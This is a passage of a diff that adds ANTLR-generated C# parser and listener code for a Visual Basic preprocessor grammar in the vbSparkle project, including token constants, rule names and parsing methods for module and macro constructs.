ExitVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context); + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtColor([NotNull] VBPreprocessorsParser.LtColorContext context); + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtColor([NotNull] VBPreprocessorsParser.LtColorContext context); + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context); + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context); + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDate([NotNull] VBPreprocessorsParser.LtDateContext context); + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDate([NotNull] VBPreprocessorsParser.LtDateContext context); + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtString([NotNull] VBPreprocessorsParser.LtStringContext context); + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtString([NotNull] VBPreprocessorsParser.LtStringContext context); + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context); + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context); + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context); + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context); + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context); + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context); + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context); + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context); +} diff --git a/Sources/vbSparkle/VBPreprocessorsParser.cs b/Sources/vbSparkle/VBPreprocessorsParser.cs new file mode 100644 index 0000000..b10dc48 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsParser.cs @@ -0,0 +1,4417 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using System.Diagnostics; +using System.Collections.Generic; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using Antlr4.Runtime.Tree; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBPreprocessorsParser : Parser { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + MACRO_CONST=1, AND=2, ATTRIBUTE=3, BEGIN=4, BEGINPROPERTY=5, CLASS=6, + CONST=7, ELSE=8, ELSEIF=9, END_IF=10, END=11, ENDPROPERTY=12, EQV=13, + FALSE=14, IF=15, IMP=16, IS=17, LIKE=18, MACRO_IF=19, MACRO_ELSEIF=20, + MACRO_ELSE=21, MACRO_END_IF=22, MOD=23, NOT=24, NOTHING=25, NULL=26, OBJECT=27, + OR=28, THEN=29, TRUE=30, VERSION=31, XOR=32, AMPERSAND=33, AT=34, COMMA=35, + DIV=36, DOT=37, EQ=38, EXCLAMATIONMARK=39, GEQ=40, GT=41, HASH=42, LEQ=43, + LBRACE=44, LPAREN=45, LT=46, MINUS=47, MULT=48, NEQ=49, PLUS=50, POW=51, + RBRACE=52, RPAREN=53, SEMICOLON=54, L_SQUARE_BRACKET=55, R_SQUARE_BRACKET=56, + STRINGLITERAL=57, DATELITERAL=58, HEXLITERAL=59, INTEGERLITERAL=60, DOUBLELITERAL=61, + FILENUMBER=62, OCTALLITERAL=63, GUID=64, NEWLINE=65, IDENTIFIER=66, COMMENT=67, + LINE_CONTINUATION=68, WS=69, ANYCHAR=70, REM=71, LABEL_L=72; + public const int + RULE_startRule = 0, RULE_macroConst = 1, RULE_codeBlock = 2, RULE_codeBlockBody = 3, + RULE_nonMacroCodeBlockX = 4, RULE_moduleInfo = 5, RULE_moduleReferences = 6, + RULE_moduleReference = 7, RULE_moduleReferenceValue = 8, RULE_moduleReferenceComponent = 9, + RULE_moduleHeader = 10, RULE_moduleConfig = 11, RULE_moduleConfigElement = 12, + RULE_ambiguousIdentifier = 13, RULE_moduleAttributes = 14, RULE_macroIfThenElseStmt = 15, + RULE_macroIfBlockCondStmt = 16, RULE_macroIfBlockStmt = 17, RULE_macroElseIfBlockStmt = 18, + RULE_macroElseBlockStmt = 19, RULE_commentBlock = 20, RULE_lineLabel = 21, + RULE_nonMacroCodeBlockLine = 22, RULE_nonMacroCodeStmt = 23, RULE_controlProperties = 24, + RULE_cp_Properties = 25, RULE_cp_NestedProperty = 26, RULE_cp_ControlType = 27, + RULE_complexType = 28, RULE_cp_ControlIdentifier = 29, RULE_attributeStmt = 30, + RULE_ifConditionStmt = 31, RULE_valueStmt = 32, RULE_delimitedLiteral = 33, + RULE_literal = 34, RULE_anytoken = 35; + public static readonly string[] ruleNames = { + "startRule", "macroConst", "codeBlock", "codeBlockBody", "nonMacroCodeBlockX", + "moduleInfo", "moduleReferences", "moduleReference", "moduleReferenceValue", + "moduleReferenceComponent", "moduleHeader", "moduleConfig", "moduleConfigElement", + "ambiguousIdentifier", "moduleAttributes", "macroIfThenElseStmt", "macroIfBlockCondStmt", + "macroIfBlockStmt", "macroElseIfBlockStmt", "macroElseBlockStmt", "commentBlock", + "lineLabel", "nonMacroCodeBlockLine", "nonMacroCodeStmt", "controlProperties", + "cp_Properties", "cp_NestedProperty", "cp_ControlType", "complexType", + "cp_ControlIdentifier", "attributeStmt", "ifConditionStmt", "valueStmt", + "delimitedLiteral", "literal", "anytoken" + }; + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, "'&'", "'@'", "','", + null, "'.'", "'='", "'!'", "'>='", "'>'", "'#'", "'<='", "'{'", "'('", + "'<'", "'-'", "'*'", "'<>'", "'+'", "'^'", "'}'", "')'", "';'", "'['", + "']'" + }; + private static readonly string[] _SymbolicNames = { + null, "MACRO_CONST", "AND", "ATTRIBUTE", "BEGIN", "BEGINPROPERTY", "CLASS", + "CONST", "ELSE", "ELSEIF", "END_IF", "END", "ENDPROPERTY", "EQV", "FALSE", + "IF", "IMP", "IS", "LIKE", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", "MACRO_END_IF", + "MOD", "NOT", "NOTHING", "NULL", "OBJECT", "OR", "THEN", "TRUE", "VERSION", + "XOR", "AMPERSAND", "AT", "COMMA", "DIV", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MULT", + "NEQ", "PLUS", "POW", "RBRACE", "RPAREN", "SEMICOLON", "L_SQUARE_BRACKET", + "R_SQUARE_BRACKET", "STRINGLITERAL", "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", + "DOUBLELITERAL", "FILENUMBER", "OCTALLITERAL", "GUID", "NEWLINE", "IDENTIFIER", + "COMMENT", "LINE_CONTINUATION", "WS", "ANYCHAR", "REM", "LABEL_L" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBPreprocessors.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBPreprocessorsParser() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + + public VBPreprocessorsParser(ITokenStream input) : this(input, Console.Out, Console.Error) { } + + public VBPreprocessorsParser(ITokenStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new ParserATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + public partial class StartRuleContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode Eof() { return GetToken(VBPreprocessorsParser.Eof, 0); } + public StartRuleContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_startRule; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterStartRule(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitStartRule(this); + } + } + + [RuleVersion(0)] + public StartRuleContext startRule() { + StartRuleContext _localctx = new StartRuleContext(Context, State); + EnterRule(_localctx, 0, RULE_startRule); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 75; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE) { + { + { + State = 72; + Match(NEWLINE); + } + } + State = 77; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 81; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 78; + codeBlock(); + } + } + State = 83; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 85; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,2,Context) ) { + case 1: + { + State = 84; + Match(Eof); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroConstContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_CONST() { return GetToken(VBPreprocessorsParser.MACRO_CONST, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER() { return GetToken(VBPreprocessorsParser.IDENTIFIER, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + public MacroConstContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroConst; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroConst(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroConst(this); + } + } + + [RuleVersion(0)] + public MacroConstContext macroConst() { + MacroConstContext _localctx = new MacroConstContext(Context, State); + EnterRule(_localctx, 2, RULE_macroConst); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 87; + Match(MACRO_CONST); + State = 88; + Match(IDENTIFIER); + State = 90; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 89; + Match(WS); + } + } + + State = 92; + Match(EQ); + State = 94; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 93; + Match(WS); + } + } + + State = 96; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CodeBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockBodyContext codeBlockBody() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode Eof() { return GetToken(VBPreprocessorsParser.Eof, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext[] lineLabel() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext lineLabel(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public CodeBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_codeBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCodeBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCodeBlock(this); + } + } + + [RuleVersion(0)] + public CodeBlockContext codeBlock() { + CodeBlockContext _localctx = new CodeBlockContext(Context, State); + EnterRule(_localctx, 4, RULE_codeBlock); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 101; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 98; + lineLabel(); + } + } + } + State = 103; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + } + State = 104; + codeBlockBody(); + State = 106; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==COMMENT) { + { + State = 105; + commentBlock(); + } + } + + State = 114; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case NEWLINE: + { + State = 109; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 108; + Match(NEWLINE); + } + } + State = 111; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + break; + case Eof: + { + State = 113; + Match(Eof); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CodeBlockBodyContext : ParserRuleContext { + public CodeBlockBodyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_codeBlockBody; } } + + public CodeBlockBodyContext() { } + public virtual void CopyFrom(CodeBlockBodyContext context) { + base.CopyFrom(context); + } + } + public partial class VcommentBlockContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock() { + return GetRuleContext(0); + } + public VcommentBlockContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVcommentBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVcommentBlock(this); + } + } + public partial class VmacroIfContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfThenElseStmtContext macroIfThenElseStmt() { + return GetRuleContext(0); + } + public VmacroIfContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVmacroIf(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVmacroIf(this); + } + } + public partial class VcodeBlockContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeBlockXContext nonMacroCodeBlockX() { + return GetRuleContext(0); + } + public VcodeBlockContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVcodeBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVcodeBlock(this); + } + } + public partial class VmacroConstContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroConstContext macroConst() { + return GetRuleContext(0); + } + public VmacroConstContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVmacroConst(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVmacroConst(this); + } + } + public partial class VlineLabelContext : CodeBlockBodyContext { + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext lineLabel() { + return GetRuleContext(0); + } + public VlineLabelContext(CodeBlockBodyContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVlineLabel(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVlineLabel(this); + } + } + + [RuleVersion(0)] + public CodeBlockBodyContext codeBlockBody() { + CodeBlockBodyContext _localctx = new CodeBlockBodyContext(Context, State); + EnterRule(_localctx, 6, RULE_codeBlockBody); + try { + State = 121; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,9,Context) ) { + case 1: + _localctx = new VmacroIfContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 116; + macroIfThenElseStmt(); + } + break; + case 2: + _localctx = new VmacroConstContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 117; + macroConst(); + } + break; + case 3: + _localctx = new VcommentBlockContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 118; + commentBlock(); + } + break; + case 4: + _localctx = new VcodeBlockContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 119; + nonMacroCodeBlockX(); + } + break; + case 5: + _localctx = new VlineLabelContext(_localctx); + EnterOuterAlt(_localctx, 5); + { + State = 120; + lineLabel(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NonMacroCodeBlockXContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeBlockLineContext[] nonMacroCodeBlockLine() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeBlockLineContext nonMacroCodeBlockLine(int i) { + return GetRuleContext(i); + } + public NonMacroCodeBlockXContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nonMacroCodeBlockX; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterNonMacroCodeBlockX(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitNonMacroCodeBlockX(this); + } + } + + [RuleVersion(0)] + public NonMacroCodeBlockXContext nonMacroCodeBlockX() { + NonMacroCodeBlockXContext _localctx = new NonMacroCodeBlockXContext(Context, State); + EnterRule(_localctx, 8, RULE_nonMacroCodeBlockX); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 124; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 123; + nonMacroCodeBlockLine(); + } + } + State = 126; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( (((_la) & ~0x3f) == 0 && ((1L << _la) & -7864324L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 501L) != 0) ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleInfoContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferencesContext moduleReferences() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigContext moduleConfig() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleAttributesContext moduleAttributes() { + return GetRuleContext(0); + } + public ModuleInfoContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleInfo; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleInfo(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleInfo(this); + } + } + + [RuleVersion(0)] + public ModuleInfoContext moduleInfo() { + ModuleInfoContext _localctx = new ModuleInfoContext(Context, State); + EnterRule(_localctx, 10, RULE_moduleInfo); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 129; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==OBJECT) { + { + State = 128; + moduleReferences(); + } + } + + State = 134; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,12,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 131; + Match(NEWLINE); + } + } + } + State = 136; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,12,Context); + } + State = 138; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,13,Context) ) { + case 1: + { + State = 137; + controlProperties(); + } + break; + } + State = 143; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,14,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 140; + Match(NEWLINE); + } + } + } + State = 145; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,14,Context); + } + State = 147; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==BEGIN) { + { + State = 146; + moduleConfig(); + } + } + + State = 152; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,16,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 149; + Match(NEWLINE); + } + } + } + State = 154; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,16,Context); + } + State = 156; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==ATTRIBUTE) { + { + State = 155; + moduleAttributes(); + } + } + + State = 161; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE) { + { + { + State = 158; + Match(NEWLINE); + } + } + State = 163; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferencesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext[] moduleReference() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext moduleReference(int i) { + return GetRuleContext(i); + } + public ModuleReferencesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferences; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReferences(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReferences(this); + } + } + + [RuleVersion(0)] + public ModuleReferencesContext moduleReferences() { + ModuleReferencesContext _localctx = new ModuleReferencesContext(Context, State); + EnterRule(_localctx, 12, RULE_moduleReferences); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 165; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 164; + moduleReference(); + } + } + State = 167; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==OBJECT ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBPreprocessorsParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceValueContext moduleReferenceValue() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON() { return 